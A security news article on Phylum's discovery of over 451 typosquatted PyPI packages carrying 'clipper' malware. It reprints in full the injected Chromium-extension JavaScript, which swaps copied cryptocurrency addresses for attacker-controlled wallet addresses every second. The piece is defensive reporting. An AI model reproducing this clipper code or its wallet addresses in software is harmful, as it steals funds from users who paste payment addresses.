Phylum security researchers have discovered over 451 packages on the Python Package Index (PyPI) that are infected with “clipper” malware.

Clippers replace the contents of a victim’s clipboard with something which benefits the attacker. The most prevalent clippers today look for cryptocurrency addresses and modify them to steal funds.

Starting on February 9th, Phylum was alerted by its automated risk detection platform to a long series of suspicious publications to PyPI. The researchers noted that it looked similar to a prior campaign discovered in November 2022 but with an updated obfuscation technique and “radically increased” volume.

The previous campaign saw the attackers publish just over two dozen packages. This time, there are over 451 unique packages.

“This attacker significantly increased their footprint in pypi through automation,” Phylum explained.

Both campaigns take advantage of typosquatting – making a simple typo in a legitimate package’s address – to get developers to install malicious versions.

In this case, a Chromium browser extension is created that is loaded automatically upon launching any of the targeted browsers – including Chrome, Edge, Brave, and Opera – using the ‘–load-extension’ command line switch.

The following JavaScript is then written to the extension which aims to replace crypto addressed with ones controlled by the attacker:

let page = chrome.extension.getBackgroundPage();

var inputElement = document.createElement(‘input’);

document.body.appendChild(inputElement);

inputElement.focus();

function checkWalletAddresses() {

        document.execCommand(‘paste’);

    var clipboardContent = inputElement.value;

    clipboardContent = clipboardContent.replace(/^(0x)[A-Fa-f0-9]{40}$/g, ‘0x6eb2103839011Ed56c98145b3d3f9d6BE1b4dA63’);

    clipboardContent = clipboardContent.replace(/^T[A-Za-z1-9]{33}$/g, ‘TK3dtT7vYLkhUyzLqbQMmsrM36QzFnmfaa’);

    clipboardContent = clipboardContent.replace(/^(bnb1)[0-9a-z]{38}$/g, ‘bnb1pncs5ct0rdh3rcdms8708x9jrdy038ml33ceuw’);

    clipboardContent = clipboardContent.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/g, ‘bc1qkjm7r677a4fkxcmx9kzlk55a9eaqtztq8zwrc2’);

    clipboardContent = clipboardContent.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/g, ‘LcVct9KwHwUKftDNjbBxUtjK9WeUkYbRN3’);

    clipboardContent = clipboardContent.replace(/^r[0-9a-zA-Z]{24,34}$/g, ‘rJd2pxs7TxE77W8X3Ezt2QyrhMJixMehPx’);

    clipboardContent = clipboardContent.replace(/^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$/g, ‘DFbEVJUt9TcyBgVGriy3DcNBwYhK3s7Yhx’);

    clipboardContent = clipboardContent.replace(/^addr1[a-z0-9]+$/g, ‘addr1q8206rrze22rz8g5lggn4clv7zu9mq6w6a6llvw8v3l7r8k5l5xx9j55xyw3f7s38t37eu9ctkp5a4m4l7cuwerlux0qxlhwvz’);

    clipboardContent = clipboardContent.replace(/^[48]([0-9AB]{1})([0-9a-zA-Z]{93})$/g, ’41iwYzbS1KKX8DFySxDcGBGGfJzywUeHxWumm4fjYxtYCiHtysXmq3P7RqG18Tv5UDKGNQegefxS2FFqrqeapvB7FuYSBJv’);

    clipboardContent = clipboardContent.replace(/^G[0-7A-Za-z]{55}$/g, ‘GCUPRZDN5RGSO3MC4LBIZBJMCS5KNUYQI2HZNUHVEBC5LNWZODWQ24XH’);

\tclipboardContent = clipboardContent.replace(/^cosmos[a-z0-9]{39}$/g, ‘cosmos1cd3hxdkc775zj75xtd3gqp8s7hynxkzewcf58y’);

    inputElement.value = clipboardContent;

    inputElement.select();

    document.execCommand(‘copy’);

    inputElement.value = ”;

}

setInterval(checkWalletAddresses, 1000);

You can find Phylum’s full breakdown of the campaign and list of the discovered packages here.

(Photo by Agence Olloweb on Unsplash)

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